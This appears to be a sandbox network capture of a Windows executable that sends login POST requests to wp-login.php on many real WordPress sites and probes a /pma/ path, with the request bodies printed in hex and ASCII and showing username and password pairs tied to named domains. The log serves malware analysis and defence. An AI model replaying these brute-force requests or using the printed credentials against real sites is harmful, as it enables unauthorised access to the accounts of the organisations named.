549	192.168.2.4	56309	162.210.96.117	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	398	OUT	POST /wp-login.php HTTP/1.1 Host: coralparkchristian.org Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=7ap2f73mtil66jvq3afeerovr8 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://coralparkchristian.org/wp-login.php Content-Length: 148 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:59 UTC	148	OUT	Data Raw: 6c 6f 67 3d 63 6f 72 61 6c 70 61 72 6b 63 68 72 69 73 74 69 61 6e 26 70 77 64 3d 54 30 4a 52 58 34 57 54 53 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 63 6f 72 61 6c 70 61 72 6b 63 68 72 69 73 74 69 61 6e 2e 6f 72 67 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=coralparkchristian&pwd=T0JRX4WTS&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Fcoralparkchristian.org%2Fwp-admin%2F&testcookie=1
2023-11-26 06:00:00 UTC	522	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 72 2d 63 66 2d 6c 69 73 74 5f 65 6d 61 69 6c 5f 73 65 6e 64 5f 74 6f 3d 64 65 6c 65 74 65 64 3b Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:59 GMTServer: ApachePragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wr-cf-list_email_send_to=deleted;
2023-11-26 06:00:00 UTC	4226	IN	Data Raw: 31 30 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e Data Ascii: 107a<!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="en-US"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">...<![endif]--><head><meta http-equiv="Con
2023-11-26 06:00:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
550	192.168.2.4	56289	45.40.150.54	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	382	OUT	POST /wp-login.php HTTP/1.1 Host: engel-firm.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=u6d52i2h1kmcrvjimqouu9cdon User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://engel-firm.com/wp-login.php Content-Length: 159 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:59 UTC	159	OUT	Data Raw: 6c 6f 67 3d 65 6e 67 65 6c 2d 66 69 72 6d 26 70 77 64 3d 57 65 6c 63 6f 6d 65 32 30 31 36 25 32 34 26 77 70 73 65 63 5f 63 61 70 74 63 68 61 5f 61 6e 73 77 65 72 3d 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 65 6e 67 65 6c 2d 66 69 72 6d 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=engel-firm&pwd=Welcome2016%24&wpsec_captcha_answer=&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Fengel-firm.com%2Fwp-admin%2F&testcookie=1
2023-11-26 06:00:00 UTC	773	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 67 65 3a 20 30 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e Data Ascii: HTTP/1.1 200 OKServer: openrestyDate: Sun, 26 Nov 2023 06:00:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeage: 0cache-control: no-store, no-cache, must-revalidatecontent-security-policy: upgrade-in
2023-11-26 06:00:00 UTC	7940	IN	Data Raw: 31 65 66 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 4c 61 77 20 46 69 72 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 Data Ascii: 1efc<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Law Firm — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/javas
2023-11-26 06:00:00 UTC	862	IN	Data Raw: 33 35 37 0d 0a 2d 66 69 72 6d 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 75 6e 64 65 72 73 63 6f 72 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 33 2e 34 27 20 69 64 3d 27 75 6e 64 65 72 73 63 6f 72 65 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 69 64 3d 27 77 70 2d 75 74 69 6c 2d 6a 73 2d 65 78 74 72 61 27 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 76 61 72 20 5f 77 70 55 74 69 6c 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 61 6a 61 78 22 3a 7b 22 75 72 6c 22 3a 22 5c 2f 77 70 2d 61 64 6d 69 6e 5c 2f 61 64 6d 69 6e 2d 61 6a 61 78 2e 70 68 70 22 7d 7d 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 Data Ascii: 357-firm.com/wp-includes/js/underscore.min.js?ver=1.13.4' id='underscore-js'></script><script type='text/javascript' id='wp-util-js-extra'>/* <![CDATA[ /var _wpUtilSettings = {"ajax":{"url":"\/wp-admin\/admin-ajax.php"}};/ ... */</script><script
2023-11-26 06:00:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
551	192.168.2.4	56306	162.250.126.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: mydirectlender.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	508	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 63 6c 2d 62 79 70 61 73 73 2d 63 61 63 68 65 3d 79 65 73 3b 20 45 78 70 69 72 65 73 3d 53 75 6e 2c 20 32 36 2d 4e 6f 76 2d 32 33 20 30 36 3a 35 39 3a 35 38 20 47 4d 54 3b 20 44 6f 6d 61 69 6e 3d 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:58 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeSet-Cookie: cl-bypass-cache=yes; Expires=Sun, 26-Nov-23 06:59:58 GMT; Domain=mydirectlender.com; Path=/; HttpOnly; SameSite=Lax
2023-11-26 05:59:59 UTC	15876	IN	Data Raw: 34 66 64 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 61 70 74 63 68 61 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 0a 20 20 20 20 20 20 20 20 20 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 33 2e 33 2e 36 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 22 0a 20 20 20 20 20 20 20 20 20 20 69 6e 74 65 67 72 69 74 79 3d 22 73 68 61 33 38 34 2d 31 71 38 6d 54 4a 4f 41 53 78 38 6a 31 Data Ascii: 4fd0<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Captcha</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1
2023-11-26 05:59:59 UTC	4569	IN	Data Raw: 37 31 31 35 39 20 32 38 2e 39 39 37 32 32 33 32 2c 32 39 2e 33 34 38 39 32 30 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 31 32 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 34 2e 39 37 31 33 33 39 30 32 2c 32 35 2e 36 34 35 35 35 20 43 39 2e 39 33 33 38 35 31 32 32 2c 32 37 2e 31 38 37 33 37 39 33 20 31 34 2e 37 37 33 37 30 34 39 2c 32 39 2e 30 33 36 34 32 38 20 31 39 2e 36 37 34 38 38 37 38 2c 33 30 2e 36 37 30 35 33 37 38 20 43 32 30 2e 34 31 34 38 35 31 32 2c 33 30 2e 39 31 37 30 30 31 32 20 32 31 2e 31 35 34 32 34 31 35 2c 33 31 2e 31 39 34 34 31 35 39 20 32 31 2e Data Ascii: 71159 28.9972232,29.3489207" id="Fill-12" fill="#467C45"></path> <path d="M4.97133902,25.64555 C9.93385122,27.1873793 14.7737049,29.036428 19.6748878,30.6705378 C20.4148512,30.9170012 21.1542415,31.1944159 21.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
552	192.168.2.4	56296	213.0.13.44	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	395	OUT	POST /wp/wp-login.php HTTP/1.1 Host: www.ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_test_cookie=WP+Cookie+check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.ceuandalucia.es/wp/wp-login.php Content-Length: 136 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:59 UTC	136	OUT	Data Raw: 6c 6f 67 3d 61 64 6d 69 6e 26 70 77 64 3d 68 6f 6c 61 61 61 61 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 41 63 63 65 64 65 72 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 25 32 46 77 70 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=admin&pwd=holaaaa&rememberme=forever&wp-submit=Acceder&redirect_to=https%3A%2F%2Fwww.ceuandalucia.es%2Fwp%2Fwp-admin%2F&testcookie=1
2023-11-26 06:00:00 UTC	542	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 34 35 2d 30 2b 64 65 62 37 75 31 34 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:59 GMTServer: ApacheX-Powered-By: PHP/5.4.45-0+deb7u14Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=
2023-11-26 06:00:00 UTC	7473	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 73 22 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 Data Ascii: <!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="es" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
553	192.168.2.4	56312	18.229.0.171	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	158	OUT	GET / HTTP/1.1 Host: rech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:00 UTC	184	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 2e 63 6f 6d 2f 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 06:00:00 GMTContent-Type: text/htmlContent-Length: 162Connection: closeLocation: https://www.rech.com/
2023-11-26 06:00:00 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
554	192.168.2.4	56314	34.136.104.255	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	401	OUT	POST /wp-login.php?wpe-login=true HTTP/1.1 Host: tiswheels.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=a916fd58d7567a89fb3267359695105c User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://tiswheels.com/wp-login.php Content-Length: 130 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:59 UTC	130	OUT	Data Raw: 6c 6f 67 3d 74 69 73 77 68 65 65 6c 73 26 70 77 64 3d 30 39 38 70 6f 69 30 39 38 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 74 69 73 77 68 65 65 6c 73 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=tiswheels&pwd=098poi098&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Ftiswheels.com%2Fwp-admin%2F&testcookie=1
2023-11-26 06:00:00 UTC	517	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 36 36 37 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 57 50 20 45 6e 67 69 6e 65 0d 0a 50 72 61 67 Data Ascii: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 26 Nov 2023 06:00:00 GMTContent-Type: text/html; charset=UTF-8Content-Length: 6673Connection: closeVary: Accept-EncodingVary: Accept-EncodingVary: Accept-Encodingx-powered-by: WP EnginePrag
2023-11-26 06:00:00 UTC	6673	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 49 53 20 4f 66 66 72 6f 61 64 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; TIS Offroad — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/javascri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
555	192.168.2.4	56320	95.168.220.210	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	217	OUT	GET /pma/ HTTP/1.1 Host: www.beachrecruitment.com Accept: / Accept-Encoding: deflate, gzip Cookie: OF=vanqkb0qfk79hbm3tig91nsue6 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:00 UTC	535	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 74 72 61 6e 73 66 65 72 2d 65 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 6b 38 73 70 65 72 73 69 73 74 65 6e 74 3d 38 63 65 36 34 34 66 39 31 66 33 66 30 61 61 39 34 32 34 39 61 39 38 61 38 65 32 31 34 31 62 30 7c 31 31 66 31 38 37 36 33 38 36 34 33 65 31 33 64 37 62 64 31 39 36 33 39 39 31 66 61 63 35 32 62 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 32 38 2d 4e 6f 76 2d 32 33 20 30 36 3a 30 30 3a 30 30 20 47 Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 06:00:00 GMTcontent-type: text/html; charset=utf-8transfer-encoding: chunkedset-cookie: k8spersistent=8ce644f91f3f0aa94249a98a8e2141b0\|11f187638643e13d7bd1963991fac52b; Expires=Tue, 28-Nov-23 06:00:00 G
